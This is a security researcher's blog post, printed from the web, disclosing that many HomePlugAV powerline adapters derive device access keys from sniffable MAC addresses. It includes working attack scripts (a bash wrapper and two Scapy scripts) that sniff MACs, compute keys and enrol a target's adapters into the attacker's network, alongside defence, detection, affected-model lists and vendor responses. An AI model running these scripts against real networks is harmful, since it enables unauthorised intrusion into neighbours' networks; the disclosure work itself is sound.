Vulnerability: Infiltrating a network via Powerline (HomePlugAV) adapte... https://www.bentasker.co.uk/documentation/security/282-infiltrating-a-n...

1 of 10 10/4/2017, 6:28 PM
Vulnerability: Infiltrating a network via Powerline (HomePlugAV) adapte... https://www.bentasker.co.uk/documentation/security/282-infiltrating-a-n...

As we are aiming to infiltrate the network, there's little to no value in attempting to crack the NEK. As it's operating in Cipher Block
Chaining (CBC) mode, it is theoretically vulnerable to a plaintext attack, but even if it were to prove possible, we'd need to re-crack
on an hourly basis (or whenever the key changed).

Brute forcing the NMK may well be possible, but the keyspace is quite large (16 bytes) rendering the attack inefficient.

The NID is broadcast in the clear in every beacon, and we know that it's derived from the NMK. It may be possible to reverse engineer
with a hash cracking style of attack. However we would in effect be attempting to brute-force the NMK, so this again, would prove
quite inefficient.

Attacking the Device Access Keys

If we can identify the MAC addresses used by the target network's STA's, the DAK's can be calculated and then used to tell the target
STAs to join our HPAV network.

However, identifying the MAC's isn't necessarily as simple as checking an arp table (we're not connected to the network after all).
Actually, even if we were connected to the target network, we wouldn't see the devices in an ARP table, they're pure layer 2, so there's
no IP to map to.

Understanding the DAK Process

When a user wants to add a new STA, they usually have a number of options. One of these is to recruit the new device into the
network.

Various utilities exist to do this (especially if you're on Windows), but the crux of it is that you'll need to enter the new device's
password (usually printed on the label in the format XXXX-XXXX-XXXX-XXXX - Sometimes referred to as the Device Encryption
Key, or DEK).

This is converted into the actual DAK, and then the following process is used

1. A device on the existing HPAV network generates a Temporary Encryption Key (TEK), encrypts it with the DAK and then
broadcasts it as a Encrypted Payload MAC Management Entry (MME)
2. All devices will attempt to decrypt the MME, but only one will have the correct DAK, so all others will silently drop the
message
3. The new HPAV then uses the TEK to send a response consisting solely of a nonce
4. The original STA responds with the same nonce and the NMK, again encrypted with the DAK
5. The new HPAV device then responds one last time, this time using the NMK to encrypt it's response.

The broadcasting device in 1) might normally be the CCo, but doesn't have to be.

Note: For the curious, the password is salted with a fixed secret, and then hashed (sha256) 1000 times. The same process is used to
create NMKs, although the secret differs

The Aim

As penetrating the encryption used is, if possible, likely to be highly inefficient, we're instead going to take a different tact.

Using the traffic sniffer built into the AR7420 chipset, we're going to passively listen to HPAV traffic, attempt to identify MAC
addresses and then use them to calculate the necessary DAKs.

The target network will then quickly be dismantled, with each member joining our new network. If we later disconnect, the appliances
will continue to communicate between themselves, so aside from a very brief outage whilst the STAs switch networks, our infiltration
should go largely un-noticed.

2 of 10 10/4/2017, 6:28 PM
Vulnerability: Infiltrating a network via Powerline (HomePlugAV) adapte... https://www.bentasker.co.uk/documentation/security/282-infiltrating-a-n...

Finding the Weakness

Once I'd settled on attacking the DAK's, the main technical hurdle was finding out the MAC addresses for the target network. If all
else had failed, I could, of course have written a script that generated all possible MAC addresses, but trying everything in a 48 bit
address range would be somewhat inefficient.

I ran a tcpdump whilst the sniffer was running and then wrote a small script to write the packet payloads out to a text file (one per
line). Checking for MAC addresses was then as simple as grepping that file for one of the MAC addresses of my target devices

grep -i "44:94:FC:9C:C7:5C" payloads.txt

I found matches, but a quick check showed that device was operating as the CCo, so was sending out beacons. Checking for another
MAC yielded results, but at a different location within the payload

Not having the specification to hand, the simplest way forward was just to dump out the data at either of these locations and accept
that would mean trying to co-opt some non-existent devices into our network

It's probably possible to look at another value within the payload and work out which location we expect the MAC to be in, but I
haven't bothered looking for it yet

The Attack

Assumptions

The encryption key on the target network has been changed from the default (otherwise things are much, much easier).

The quick setup guide for most of these devices advises pushing the encryption reset buttons, so it's likely most users have changed
from the commonly known default (HomePlugAV).

Attack Constraints

To work, you need to effectively be connected to the same power source as the target network. If you are in an apartment complex
with a shared power feed, that should be sufficient. Alternatively any houses on your street that are on the same phase as you may also
work (I haven't yet checked), or in principle an outside light fitting and an adapter.

So whilst some level of proximity is required, it's not quite the same level as needing to get through a locked door.

Pre-Requisites

Rather than re-invent the wheel, it's best to use some existing utilities where possible, so grab and compile a copy of Qualcomms
Open-PLC utilities from https://github.com/qca/open-plc-utils/ (https://github.com/qca/open-plc-utils/) (see update below (#upd201601)
). You can grab an archived copy of the codebase from here (/images/stories/OSRQCA-929.zip) .

You'll also need Python with Scapy (http://www.secdev.org/projects/scapy/) as we'll need to craft some Layer-2 packets.

Network Setup

For my initial testing, I used the following setup

3 of 10 10/4/2017, 6:28 PM
Vulnerability: Infiltrating a network via Powerline (HomePlugAV) adapte... https://www.bentasker.co.uk/documentation/security/282-infiltrating-a-n...

Target Network

2 HPAV devices using the same NMK

2 Workstations pushing traffic across the HPAV network (simple pings)

Attacking Network

1 HPAV device (NMK obviously differs to the one used on the target)
1 Workstation connected directly to the HPAV device

The Process

Essentially, the attack follows a simple process

Put the HPAV device into sniffer mode

Listen to the responses
Extract potential MAC addresses from the responses
Calculate each devices password (and by extension, the DAK)
Enrol the remote STAs into our network

The Attack Scripts

It's simple enough to walk through the attack manually, but checking the PCAPs can be a little time consuming. It's probably more
than possible to do everything within Python, but didn't seem worth the extra effort

Attack.sh

Attack.sh is our wrapper script. It'll call the two python scripts and launch various utilities from open-plc-utils.

#!/bin/bash
# Start by sniffing out HPAV clients and then co-opt them into our network

INTERFACE='eth0'

python triggerSniff.py
tcpdump -s0 -w cap.pcap & sleep 10s && pkill tcpdump

NEWKEY=$(hpavkey -M 'ImAnEvilIntruder')

# Set the NMK of our local device

amptool -M -K $NEWKEY -i $INTERFACE

# Wait while the device resets

echo "Waiting 5 seconds"
sleep 5

# Cycle through the pcap

python listMacs.py cap.pcap | sort | uniq | while read -r address

4 of 10 10/4/2017, 6:28 PM
Vulnerability: Infiltrating a network via Powerline (HomePlugAV) adapte... https://www.bentasker.co.uk/documentation/security/282-infiltrating-a-n...

do

# We need the MAC in two formats

macsolid=$(echo $address | sed 's/ //g')
maccolon=$(echo $address | sed 's/ /:/g')

# Generate the password and then the DAK

pass=$(mac2pw -q $macsolid)
dak=$( hpavkey -D $pass )

# Configure the device

echo "Attempting to enrol $maccolon"
amptool -D $dak -J $maccolon -i $INTERFACE -M -K $NEWKEY
echo

# Sleep for a second so we're sure we're not hammering our device
sleep 1

done

listMacs.py

listMacs.py is a bit of a blunt tool, but it grabs MAC addresses from the sniffer payload captures. There appear to be two locations
within the payload which can contain a MAC, and so it grabs both. This means that it will grab some invalid MAC's, although they
don't negatively affect the attack, they could probably be filtered out easily enough.

import sys

try:
# Import Scapy
from scapy.all import *
from scapy.utils import rdpcap

except:
sys.path.append( 'Scapy')
# Import Scapy
from scapy.all import *
from scapy.utils import rdpcap

# Load the pcap

pkts=rdpcap('cap.pcap') # could be used like this rdpcap("filename",500) fetches
first 500 pkts

for pkt in pkts:

if pkt.type == 35041:
response=''.join(pkt.load).encode('hex')
response=':'.join(a+b for a,b in zip(response[::2], response[1::2]))
#print response,"\n"
segments=response.split(":")
try:

# Rule out the obvious IANA reserved range

if int(segments[66]) > 00 and int(segments[67]) > 00:
print
"2:",segments[66],segments[67],segments[68],segments[69],segments[70],segments[71]

5 of 10 10/4/2017, 6:28 PM
Vulnerability: Infiltrating a network via Powerline (HomePlugAV) adapte... https://www.bentasker.co.uk/documentation/security/282-infiltrating-a-n...

if int(segments[58]) > 00 and int(segments[59]) > 00:

print
"1:",segments[58],segments[59],segments[60],segments[61],segments[62],segments[63]

except:
continue

triggerSniff.py

triggerSniff does one thing, it puts the local HPAV device into sniffer mode. The device will then sit sending Management frames back
to us, containing details of any HPAV traffic it has sniffed out.

import sys
import fcntl, socket, struct

try:
# Import Scapy
from scapy.all import *
from scapy.utils import rdpcap

except:
sys.path.append( 'Scapy')
# Import Scapy
from scapy.all import *
from scapy.utils import rdpcap

iface='eth0' # Which interface should we use

# Function from http://stackoverflow.com/questions/159137/getting-mac-address

def getHwAddr(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', ifname[:15]))
return ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1]

# Enable Sniffer mode on the local HPAV device

#
#
payload='00:34:a0:00:b0:52:01:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:0
0:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00'
data_list = payload.split(":")

# Breakdown of payload above

#
# '00' - MAC Management header (Version: 1) - they're zero indexed
# '34:a0' - Sniffer type request
# 'b0:52' - OUI

# Build and send the packet

6 of 10 10/4/2017, 6:28 PM
Vulnerability: Infiltrating a network via Powerline (HomePlugAV) adapte... https://www.bentasker.co.uk/documentation/security/282-infiltrating-a-n...

p = Ether()
p.src=getHwAddr(iface)
p.dst='00:B0:52:00:00:01'; # Only the nearest HomeplugAV device will respond
p.type=0x88e1; # HomeplugAV management frame
p.oui='00b052'
data=''.join(data_list).decode('hex')
b = p/data
ans = srp(b,iface=iface)

Result

The exact result/output will depend on how many STAs are in the target network, however the output of running attack.sh will be
similar to the following

Attempting to enrol 05:02:45:03:31:f4

eth0 00:B0:52:00:00:01 Set Remote Network Membership Key
eth0 44:94:FC:99:8F:CD Setting ...

Attempting to enrol 44:94:fc:9c:c7:44

eth0 00:B0:52:00:00:01 Set Remote Network Membership Key
eth0 44:94:FC:99:8F:CD Setting ...

Attempting to enrol 44:94:fc:9c:c7:5c

eth0 00:B0:52:00:00:01 Set Remote Network Membership Key
eth0 44:94:FC:99:8F:CD Setting ...

Attempting to enrol 91:01:02:01:06:03

eth0 00:B0:52:00:00:01 Set Remote Network Membership Key
eth0 44:94:FC:99:8F:CD Setting ...

Only two of the MAC's above are valid, however, as a result both devices have joined my HomePlugAV network.

I've now achieved the same level of access to the network as I would have if I'd plugged a CAT-5 into a switch, but without requiring
physical access to anything but the mains supply

Analysis of the Weakness

Why it Works

The weakness stems from the ability to enrol a device into an existing network, rather than requiring physical intervention (such as
pressing the encryption button on the unit) to have it request access to a network.

The enrolment capability isn't enough, however, to cause the weakness on it's own.

Deriving the device's passwords from their MAC address makes the Device Access Keys predictable. Although these devices are
transparent on the ethernet network, everything you need is transmitted, in the clear, across the powerline network.

In effect, the only secret you need to join the network is being broadcast, in the clear, between devices who's very chipset ships with a
packet sniffer allowing you to capture it.

7 of 10 10/4/2017, 6:28 PM
Vulnerability: Infiltrating a network via Powerline (HomePlugAV) adapte... https://www.bentasker.co.uk/documentation/security/282-infiltrating-a-n...

Defence

The only 100% guaranteed way to defend yourself is to stop using Powerline devices. Other than that;

There isn't an easy way to defend yourself from this issue. Maintaining a list of authorised MAC addresses and periodically changing
the encryption key (i.e. effectively running part of the attack against yourself) will temporarily knock an attacker back off your
network, but as we've seen it's a few seconds work for them to jump back on. It's also worth considering that as the DAK is easily
calculable, the entire key exchange mechanism is flawed and so easily compromisable.

Even if you are actively running packet analysis on your network, you'll not see the packets generated in the initial compromise - they
never leave the Powerline network.

It may be possible to reprogram the DAK on each STA, though I've not yet found the capability to do so.

Securing your network against unauthorised local access is perhaps the best form of defence, an attacker would then need to breach
whatever security measures you'd put in place on networked systems.

Impact of an Intrusion

Aside from the obvious issues inherent in them gaining physical network access, the attacker now has an increased level of access to
your powerline devices.

The ones I've been using are simple layer-2 devices, however they are flashable, so it's not inconceivable that someone more advanced
than me could adjust a system image to implement an IP stack and start sending data off-network (or use UPnP to create an entry
point) - removing the need for continued network proximity.

Some versions of the firmware appear to allow the erasure of NVRAM, so an attacker could, also, simply brick the target devices.

Detecting an Intrusion

How detectable an attacker would be at the network level will obviously depend on their behaviour, so, ignoring any unusual network
traffic they may be generating - we can ask our Powerline devices who they're networked with. If we don't recognise a MAC address
that appears, we've got an intrusion

ampstat -m -i eth0
NID 96:F8:C2:58:B5:BC:05 SNID 013
STA TEI 003 MAC 44:94:FC:99:8F:CD BDA 00:1B:A0:CF:87:18
CCO TEI 001 MAC 44:94:FC:9C:C7:44 BDA B8:27:EB:0B:EE:DB TX 089 RX 127
STA TEI 002 MAC 44:94:FC:9C:C7:5C BDA 80:1F:02:8D:5F:52 TX 374 RX 375

In this case, I launched the attack from 44:94:FC:99:8F:CD, so would consider that address to be unauthorised. The second MAC
address in each row is the first bridged device (i.e. the device plugged into the powerline adaptor)

Affected Devices

Not having the resources to go out and purchase kit from different vendors, I've been limited to kit I can lay my hands on, as well as a
bit of careful searching on Ebay and Google for pictures of devices that display the MAC address and 'password'

The devices definitely affected are

8 of 10 10/4/2017, 6:28 PM
Vulnerability: Infiltrating a network via Powerline (HomePlugAV) adapte... https://www.bentasker.co.uk/documentation/security/282-infiltrating-a-n...

ON Networks PL-500 Range (Qualcomm AR7420 chipset)

Solwise NET-PL-200AV-MINI-TWIN
Unbranded Adapter Model 7HP120 (Looks like a rebranded 7inova 7HP120 though)
Comfast CF-WP500M
ASUS PL-X52P
IcyBox IB-PL550
TP-Link AV200 TL-PA2010
TP-Link TL-PA211
TP-Link TL-PA251
TP-Link TL-PA411
TP-Link TL-PA8010P

Possibly not Affected

Based on a few photos found on Google/Ebay, it looks like the following models have DAKs that aren't derived (or are derived
differently) from the MAC address

BT Broadband Extender Flex 500 (physically tested - definitely not affected)

Devolo DLAN-200-AV
Devolo DLAN 500 Duo+
Solwise NET-PL-200-AV-PUSH
Solwise PL-200AV-3PE

Conclusion
When planning a wired network, consideration is normally given to the location of the network outlets, both in terms of usability and
security.

The number of potential 'outlets' you create when using your mains wiring as the network medium is staggering, whilst the devices are
normally connected directly to a plug socket, creating an adapter so that you could connect via a light socket would be trivial (despite
the justified safety concerns, they can in fact, still be bought (http://www.lowes.com/pd_72574-89916-
EK-01_4294722558__?productId=3713530&Ns=p_product_qty_sales_dollar|1&pl=1&
currentURL=%3FNs%3Dp_product_qty_sales_dollar%7C1&facetInfo=) ). Anywhere that you have power, can potentially be used as a
physical network infiltration point.

It's worrying, then, that the security on these devices isn't better.

Whilst Powerline devices use reasonably strong on-the-wire encryption, making the Device Access Key's easily predictable
fundamentally undermines the entire security approach.

Although some of the devices I checked use less predictable DAKs, I can't say for certain that they're not still derived from the MAC
address, it may simply be that an additional seed is used when calculating the DAK - if so, then identification of that seed would be
sufficient to calculate DAKs for those devices as well.

Even if it wasn't possible to eavesdrop and identify MAC addresses, the system would still be vulnerable to a brute force attempt. The
48 bit keyspace of MAC addresses isn't necessarily a huge obstacle and given a bit of research it should be possible to narrow
potential MAC addresses down to those within blocks issued to the OEMs of Powerline devices (or even just the more popular
OEMs).

There's always a balance to be struck between security and convenience, but in this case it seems that attempting to increase
convenience has completely undermined the security of these devices. Given that some DAKs appear not to be as predictable, it seems

9 of 10 10/4/2017, 6:28 PM
Vulnerability: Infiltrating a network via Powerline (HomePlugAV) adapte... https://www.bentasker.co.uk/documentation/security/282-infiltrating-a-n...

likely though that the root cause of this weakness is simply vendor laziness.

Update - Response from TP-Link

I contacted TP-Link separately as every model I'd tested seemed vulnerable (even their documentation shows an example of a
predictable key (http://www.tp-link.com/en/article/?faqid=258) ). I'm not sure I agree with them, but they seem to think it's not an issue on
the basis that most users will be families and family members are unlikely to attack each other;

I just confirmed this from my senior engineers and got that this is not a problem .
All powerline devices work under the same circuit ,and a circuit is in one family, so
families would not attack each other .
Please dont worry about it .
For the security issue you are worrying about ,it is concerned about the HomePlugAV
protocol ,which is a international standard and safe enough ,please dont worry about
it .

Take from that what you will.....

Update - Jan 2016

It seems that the OpenPLC toolchain has been updated, so attempts to reproduce the above with current builds will not work
(http://projects.bentasker.co.uk/jira_projects/browse/MISC-16.html) .

If you're interested in checking whether or not your device is affected, there's a build available here (/images/stories/OSRQCA-929.zip)
which still uses the old method.

Although the toolchain has been updated, it doesn't seem that OEMs have bothered updating their methods yet (based on a very quick
check). The new method, by default, generates a random string using urandom on the host machine as input, which whilst a definite
improvement is entirely moot unless manufacturers actually start using it.

Also, many thanks to those who've been in contact to discuss their adapters and/or to provide information!

Update - Dec 2016

I received an email from TP-Link saying they'd released a firmware update to fix this issue, and that new items leaving the factory
would not be affected. Users with affected devices can download the firmware update from http://www.tp-link.com/en/
(http://www.tp-link.com/en/) . I've not had time to verify that the update does fix the issue yet.

There will, of course, be a lot of stock sat on shelves that is still affected, so if ordering new equipment it'll probably be worth taking
the time to run a firmware update

10 of 10 10/4/2017, 6:28 PM